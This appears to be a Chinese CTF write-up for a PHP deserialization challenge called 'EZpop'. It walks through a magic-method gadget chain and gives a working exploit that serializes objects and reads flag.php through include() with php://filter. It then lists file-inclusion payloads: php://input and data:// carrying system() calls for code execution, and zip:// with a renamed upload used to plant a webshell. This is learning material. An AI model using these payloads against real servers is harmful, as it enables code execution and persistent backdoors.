EZpop分析
首先源代码如下
<?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } ?>
首先找到利用点
public function append($value){ include($value); }
找到了include（）
这里补充一下常用的PHP魔术方法，这道题考察的就是魔术方法的互相调用
__sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发
然后找参数从哪里传过来的
public function __invoke(){ $this->append($this->var); }
$var就是可以传参数的地方
那么怎么才能调用__invoke()呢
发现
public function __get($key){ $function = $this->p; return $function(); }
如果将$this->p传递为class Modifier的对象就会自动出发__invoke()
那么又如如何调用__get（）呢
发现
public function __toString(){ return $this->str->source; }
如果将$str传参为Test的对象，Test中没有source方法就会调用__get()
那么又如何调用__toString()呢
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; }
如果source是Show的对象就会自动调用__toString()
而__wakeup()是自动调用的，整个链条就形成了
__wake() => __toString() => __get() => __invoke() =>include(flag.txt)
开始写exp:
<?php class Modifier{ protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; } } class Test{ public $p; } $a=new Show('a'); $a->str=new Test(); $a->str->p=new Modifier(); $b=new Show($a); echo urlencode(serialize($b)); ?>
这里有一个小疑问记录一下：
问题
就是为什么include（）函数要用php伪协议去读文件呢，include（）本身不就可以读文件的嘛,我之前写exp时没有用伪协议，所以没有读出文件
解决
这就是我对include()这个函数理解的不够出深入造成的，include()这个函数除了读取文件还会执行文件内容，所以需要用伪协议进行base64编码才能显示文件的内容，否则就会被php解释器执行而不会输出到前端
延伸
php://filter 读取文件源码 php://input 任意代码执行 data://text/plain 任意代码执行 zip:// 配合文件上传开启后门
专题学习一下php伪协议的各种利用姿势
PHP://filter
php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码
?url=php://filter/read=convert.base64-encode/resource=index.php
PHP://input
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效
?url=php://input -- GET请求参数中使用php://input协议 <?php system('ls'); ?> -- post请求体中的内容会被当做文件内容执行
Data://
协议格式: data:资源类型;编码,内容
data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行
?url=data://text/plain,<?php system('id') ?>
ZIP://
ziip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell
将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马
?url=zip://shell.jpg